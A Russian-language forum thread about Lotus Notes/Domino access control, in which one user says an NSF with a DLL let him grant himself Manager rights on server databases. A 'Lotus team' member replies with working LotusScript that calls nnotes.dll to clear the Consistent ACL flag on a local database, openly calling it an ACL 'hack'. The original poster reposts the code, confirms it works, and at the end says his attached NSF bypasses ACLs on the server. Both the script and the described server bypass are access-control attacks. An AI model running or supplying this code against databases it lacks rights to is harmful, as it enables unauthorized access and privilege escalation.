Безопасность *.nsf

  • Автор темы nor
  • Дата начала
Статус
Закрыто для дальнейших ответов.
N

nor

Гость
#1
Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.

Как такое может быть?
 
E

Elena Nefedova

Гость
#2
А как добавил-то? на сервер вошел и добавил? или с рабочего места под ограниченными правами как-то ухитрился?
 
D

Domino6

Гость
#3
Через другую учетку(серверную) либо локальную базу т.е. евно не указан доступ но лакальный манагер если не стоит ECL
 

Constantin A Chervonenko

Well-Known Member
Lotus team
30.05.2006
1 333
4
#4
Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.
Как такое может быть?
Если у злоумышленника есть физический доступ к серверу, вся безопасность идет лесом (тут Lotus мало отличается от прочих клиент-серверов, разве только наличием встроенного шифрования). Даже ДиЛяЛьки подменять не надо: просто открыть базу "локально" и вписать в ACL все, что угодно
 
N

nor

Гость
#6
Для: Constantin A Chervonenko

Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать :) .
 

Constantin A Chervonenko

Well-Known Member
Lotus team
30.05.2006
1 333
4
#7
Для: Constantin A Chervonenko

Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать :) .
Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consist.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения
 
N

nor

Гость
#8
Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consist.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения
:( Правда? Возможно я не прав.
А при помощи 16-ого редактора тебе удавалось обойти локальный ACL? Буду крайне признателен за соответствующие скриншоты и короткие пояснения данного процесса взлома в этой ветке форума. Я думаю, об этом будет интерсно узнать не только мне, но и многочисленным администраторам и девелоперам платформы Notes/Domino.
Жду с нетерпением признаться в своей некомпетентности и незнании первоисточников.
 

Constantin A Chervonenko

Well-Known Member
Lotus team
30.05.2006
1 333
4
#9
:( Правда? Возможно я не прав.
А при помощи 16-ого редактора тебе удавалось обойти локальный ACL?
И даже без 16-чного, лишь бы база была доступна локально:

Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer
Const ACL_UNIFORM_ACCESS = 1

Dim filePath As String
Dim result As Integer
Dim hDB As Long
Dim hACL As Long
Dim flags As Long

result = NSFDbOpen(filePath, hDB)
result = NSFDbReadACL(hDB, hACL)
result = ACLGetFlags(hACL, flags)
If flags And ACL_UNIFORM_ACCESS Then
flags = flags Xor ACL_UNIFORM_ACCESS
result = ACLSetFlags(hACL, flags)
result = NSFDbStoreACL(hDB, hACL, 0, 0)
Else
Print "The flag is not set. Nothing changed."
End If
result = NSFDbClose(hDB)
 
N

nor

Гость
#10
hDB - ?
hACL - ?
dwFlags - ?
Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
Что они такое и каковы их возможные значения - к примеру?
И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
 

Constantin A Chervonenko

Well-Known Member
Lotus team
30.05.2006
1 333
4
#12
hDB - ?
hACL - ?
dwFlags - ?
Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
Что они такое и каковы их возможные значения - к примеру?
И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
NSFDbOpen(filePath, hDB) - открывает заданную базу, возвращая её хендл в hDB
NSFDbReadACL(hDB, hACL) - .. её ACL - в hACL
ACLGetFlags(hACL, flags) - читает флажки в переменную flags и т.д..

Скрипт - "взламывает" ACL. Весь код - из тех самых первоисточников
 
N

nor

Гость
#13
Для: Constantin A Chervonenko

Ладно, что я не так делаю?

Вот код:

Код:
Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer


Const ACL_UNIFORM_ACCESS = 1

Dim filePath As String
Dim result As Integer
Dim hDB As Long
Dim hACL As Long
Dim flags As Long

flePath = "C:\Lotus7\notes\data\testacl.nsf"
result = NSFDbOpen(filePath, hDB)
result = NSFDbReadACL(hDB, hACL)
result = ACLGetFlags(hACL, flags)
If flags And ACL_UNIFORM_ACCESS Then
flags = flags Xor ACL_UNIFORM_ACCESS
result = ACLSetFlags(hACL, flags)
result = NSFDbStoreACL(hDB, hACL, 0, 0)
Else
Print "The flag is not set. Nothing changed."
End If
result = NSFDbClose(hDB)
C:\Lotus7\notes\data\testacl.nsf - тестовая база, к которой я не имею доступа и стоит в которой Consist.ACL. У меня печатает "The flag is not set. Nothing changed." Так каким образом этот код что-то "взламывает"? Или я в чем-то ошибся? Или это очередная пустая болтовня?
 
N

nor

Гость
#15
Да, у меня тоже он заработал. Я признаю, что я был не прав и плохо знаю первоисточники. Спасибо Constantin A Chervonenko за разъяснение вопроса.
 

Constantin A Chervonenko

Well-Known Member
Lotus team
30.05.2006
1 333
4
#16
Спасибо Constantin A Chervonenko за разъяснение вопроса.
Всегда пожалуйста. Там главное требование - локальный (физический) доступ. Или тебе удалось сломать ACL на сервере?? Признавайся, мы тебя не выдадим :)
 
N

nor

Гость
#17
Всегда пожалуйста. Там главное требование - локальный (физический) доступ. Или тебе удалось сломать ACL на сервере?? Признавайся, мы тебя не выдадим :)
Локально только...

Вот та nsf, про которую я говорил - позволяет "взламывать" acl на сервере, см. описание выше.
 

Вложения

Статус
Закрыто для дальнейших ответов.